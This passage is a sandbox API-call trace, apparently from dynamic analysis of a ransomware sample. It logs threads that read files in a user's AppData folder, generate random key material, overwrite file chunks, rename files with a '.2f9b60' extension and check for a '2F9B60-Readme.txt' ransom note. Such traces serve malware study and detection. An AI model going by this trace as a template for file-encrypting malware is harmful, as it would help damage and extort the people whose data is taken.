[0104.125] WriteFile (in: hFile=0x17b8, lpBuffer=0x4205a1d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2fc0f850, lpOverlapped=0x0 | out: lpBuffer=0x4205a1d0*, lpNumberOfBytesWritten=0x2fc0f850*=0x10c, lpOverlapped=0x0) returned 1 [0104.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a1d0) returned 1 [0104.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a2a0) returned 1 [0104.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a420) returned 1 [0104.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b3e0) returned 1 [0104.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202622d0) returned 1 [0104.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260830) returned 1 [0104.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260740) returned 1 [0104.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260710) returned 1 [0104.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x2050ae30 [0104.248] wcscpy (in: _Dest=0x2050ae30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xqDKhZdGB.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xqDKhZdGB.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xqDKhZdGB.jpg" [0104.248] wcscat (in: _Dest=0x2050ae30, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xqDKhZdGB.jpg.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xqDKhZdGB.jpg.2f9b60" [0104.248] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xqDKhZdGB.jpg.2f9b60", NtPathName=0x2fc0f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xqDKhZdGB.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x20502450 [0104.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20502450) returned 1 [0104.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051230) returned 1 [0104.553] NtQueryInformationFile (in: FileHandle=0x17b8, IoStatusBlock=0x2fc0f8d8, FileInformation=0x2fc0f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2fc0f8d8, FileInformation=0x2fc0f8e8) returned 0x0 [0104.554] NtSetInformationFile (FileHandle=0x17b8, IoStatusBlock=0x2fc0f8d8, FileInformation=0x2fc0f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ae30) returned 1 [0104.567] FlushFileBuffers (hFile=0x17b8) returned 1 [0104.572] CloseHandle (hObject=0x17b8) returned 1 [0104.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a5070 [0104.587] wcscpy (in: _Dest=0x202a5070, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.587] wcscat (in: _Dest=0x202a5070, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.587] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5070) returned 1 [0104.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868440) returned 1 Thread: id = 950 os_tid = 0x1580 [0101.247] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YhL94_N.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\yhl94_n.bmp")) returned 0x2020 [0101.248] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YhL94_N.bmp", dwFileAttributes=0x20) returned 1 [0103.934] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YhL94_N.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\yhl94_n.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17c0 [0103.934] GetFileSizeEx (in: hFile=0x17c0, lpFileSize=0x2fd1fa40 | out: lpFileSize=0x2fd1fa40*=87887) returned 1 [0103.934] SetFilePointerEx (in: hFile=0x17c0, liDistanceToMove=0x1574b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.935] ReadFile (in: hFile=0x17c0, lpBuffer=0x2fd1f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fd1fa08, lpOverlapped=0x0 | out: lpBuffer=0x2fd1f9c0*, lpNumberOfBytesRead=0x2fd1fa08*=0x4, lpOverlapped=0x0) returned 1 [0103.935] SetFilePointerEx (in: hFile=0x17c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0103.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f00 [0103.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611f0 [0103.936] NtQuerySystemTime (in: CurrentTime=0x2fd1f900 | out: CurrentTime=0x2fd1f900*=132462177094258000) returned 0x0 [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x5bbeeb60 [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x1958a65e [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x6f5bfca5 [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x5cb44341 [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x135c05a8 [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x29e5f3b3 [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x1615a86c [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0xef9c1a5 [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0xe830009 [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0xecaad7 [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x54fc2ea5 [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x64e0e35 [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x24e15459 [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x2f678e9d [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x631b4e6c [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x6b76ec3c [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x5c08e041 [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x46c9c198 [0103.936] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x56998f1f [0103.937] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x2883dfa5 [0103.937] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x2d2ec4fd [0103.937] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x1b86dc81 [0103.937] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x49693f25 [0103.937] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x5a874181 [0103.937] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x51921d2a [0103.937] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x603b7512 [0103.937] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x7390742a [0103.937] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x359732d3 [0103.937] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x96ed545 [0103.937] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x74a6643b [0103.937] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x45bbd98 [0103.937] RtlRandomEx (in: Seed=0x2fd1f8f0 | out: Seed=0x2fd1f8f0) returned 0x3d3c6856 [0103.951] SetFilePointerEx (in: hFile=0x17c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.951] ReadFile (in: hFile=0x17c0, lpBuffer=0x202b98d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2fd1f960, lpOverlapped=0x0 | out: lpBuffer=0x202b98d0*, lpNumberOfBytesRead=0x2fd1f960*=0x3c00, lpOverlapped=0x0) returned 1 [0103.952] SetFilePointerEx (in: hFile=0x17c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503d10 [0103.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0103.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202617f0) returned 1 [0103.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202d3d40 [0103.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202617f0 [0103.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611f0 [0103.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611f0) returned 1 [0103.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d10) returned 1 [0103.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.953] WriteFile (in: hFile=0x17c0, lpBuffer=0x202d3d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2fd1f960, lpOverlapped=0x0 | out: lpBuffer=0x202d3d40*, lpNumberOfBytesWritten=0x2fd1f960*=0x3c00, lpOverlapped=0x0) returned 1 [0104.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202d3d40) returned 1 [0104.140] SetFilePointerEx (in: hFile=0x17c0, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.140] ReadFile (in: hFile=0x17c0, lpBuffer=0x202b98d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2fd1f960, lpOverlapped=0x0 | out: lpBuffer=0x202b98d0*, lpNumberOfBytesRead=0x2fd1f960*=0x3c00, lpOverlapped=0x0) returned 1 [0104.140] SetFilePointerEx (in: hFile=0x17c0, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0104.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866bc0 [0104.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0104.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82af60) returned 1 [0104.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202d3d40 [0104.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0104.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad20 [0104.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ad20) returned 1 [0104.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0104.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0104.141] WriteFile (in: hFile=0x17c0, lpBuffer=0x202d3d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2fd1f960, lpOverlapped=0x0 | out: lpBuffer=0x202d3d40*, lpNumberOfBytesWritten=0x2fd1f960*=0x3c00, lpOverlapped=0x0) returned 1 [0104.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202d3d40) returned 1 [0104.146] SetFilePointerEx (in: hFile=0x17c0, liDistanceToMove=0x11b4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.146] ReadFile (in: hFile=0x17c0, lpBuffer=0x202b98d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2fd1f960, lpOverlapped=0x0 | out: lpBuffer=0x202b98d0*, lpNumberOfBytesRead=0x2fd1f960*=0x3c00, lpOverlapped=0x0) returned 1 [0104.147] SetFilePointerEx (in: hFile=0x17c0, liDistanceToMove=0x11b4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0104.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866bc0 [0104.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad20 [0104.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ad20) returned 1 [0104.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202d3d40 [0104.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad20 [0104.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0104.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b380) returned 1 [0104.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0104.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0104.148] WriteFile (in: hFile=0x17c0, lpBuffer=0x202d3d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2fd1f960, lpOverlapped=0x0 | out: lpBuffer=0x202d3d40*, lpNumberOfBytesWritten=0x2fd1f960*=0x3c00, lpOverlapped=0x0) returned 1 [0104.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202d3d40) returned 1 [0104.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e800 [0104.151] SetFilePointerEx (in: hFile=0x17c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.151] WriteFile (in: hFile=0x17c0, lpBuffer=0x205077e0*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x2fd1fa10, lpOverlapped=0x0 | out: lpBuffer=0x205077e0*, lpNumberOfBytesWritten=0x2fd1fa10*=0x148, lpOverlapped=0x0) returned 1 [0104.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205077e0) returned 1 [0104.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202635c0) returned 1 [0104.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262090) returned 1 [0104.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202617f0) returned 1 [0104.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e800) returned 1 [0104.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f00) returned 1 [0104.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261280) returned 1 [0104.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262450) returned 1 [0104.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050afe0 [0104.256] wcscpy (in: _Dest=0x2050afe0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YhL94_N.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YhL94_N.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YhL94_N.bmp" [0104.256] wcscat (in: _Dest=0x2050afe0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YhL94_N.bmp.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YhL94_N.bmp.2f9b60" [0104.256] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YhL94_N.bmp.2f9b60", NtPathName=0x2fd1fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YhL94_N.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x20501b60 [0104.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501b60) returned 1 [0104.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecea40) returned 1 [0104.554] NtQueryInformationFile (in: FileHandle=0x17c0, IoStatusBlock=0x2fd1fa98, FileInformation=0x2fd1faa8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2fd1fa98, FileInformation=0x2fd1faa8) returned 0x0 [0104.554] NtSetInformationFile (FileHandle=0x17c0, IoStatusBlock=0x2fd1fa98, FileInformation=0x2fd1faa8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050afe0) returned 1 [0104.576] FlushFileBuffers (hFile=0x17c0) returned 1 [0104.581] CloseHandle (hObject=0x17c0) returned 1 [0104.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a5070 [0104.589] wcscpy (in: _Dest=0x202a5070, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.589] wcscat (in: _Dest=0x202a5070, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.589] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5070) returned 1 [0104.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 Thread: id = 951 os_tid = 0x1584 [0101.249] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZtjT5ztDM473.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ztjt5ztdm473.wav")) returned 0x2020 [0101.249] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZtjT5ztDM473.wav", dwFileAttributes=0x20) returned 1 [0103.956] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZtjT5ztDM473.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ztjt5ztdm473.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17c8 [0103.957] GetFileSizeEx (in: hFile=0x17c8, lpFileSize=0x2fe4f900 | out: lpFileSize=0x2fe4f900*=39252) returned 1 [0103.957] SetFilePointerEx (in: hFile=0x17c8, liDistanceToMove=0x9950, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.957] ReadFile (in: hFile=0x17c8, lpBuffer=0x2fe4f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fe4f8c8, lpOverlapped=0x0 | out: lpBuffer=0x2fe4f880*, lpNumberOfBytesRead=0x2fe4f8c8*=0x4, lpOverlapped=0x0) returned 1 [0103.958] SetFilePointerEx (in: hFile=0x17c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0103.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0103.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0103.975] NtQuerySystemTime (in: CurrentTime=0x2fe4f7c0 | out: CurrentTime=0x2fe4f7c0*=132462177094726000) returned 0x0 [0103.975] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x7c20ab2a [0103.975] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x36088885 [0103.975] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x3fff953d [0103.975] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x186c1552 [0103.975] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x50e60299 [0103.975] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x318cab13 [0103.975] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x10847eae [0103.975] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x6d3efe5d [0103.975] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x2ab7f8b3 [0103.975] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x3643a7f9 [0103.975] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x1cbc902d [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x4ab50ddb [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x40e6c283 [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x1a3868e4 [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x3cecedf2 [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x9b51789 [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x6d542b2b [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x39ed1a08 [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x1e4da452 [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x5de03d99 [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0xd53a7af [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x43ea453a [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x41bf867 [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x58d6bc4a [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x2b893f4c [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x199d9a00 [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x39c113e5 [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x48667ffc [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x6dc4ef63 [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x56589d5a [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x100251ff [0103.976] RtlRandomEx (in: Seed=0x2fe4f7b0 | out: Seed=0x2fe4f7b0) returned 0x101e3574 [0103.988] SetFilePointerEx (in: hFile=0x17c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.989] ReadFile (in: hFile=0x17c8, lpBuffer=0x41f2a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2fe4f820, lpOverlapped=0x0 | out: lpBuffer=0x41f2a520*, lpNumberOfBytesRead=0x2fe4f820*=0x3c00, lpOverlapped=0x0) returned 1 [0103.989] SetFilePointerEx (in: hFile=0x17c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503d10 [0103.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0103.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ef0) returned 1 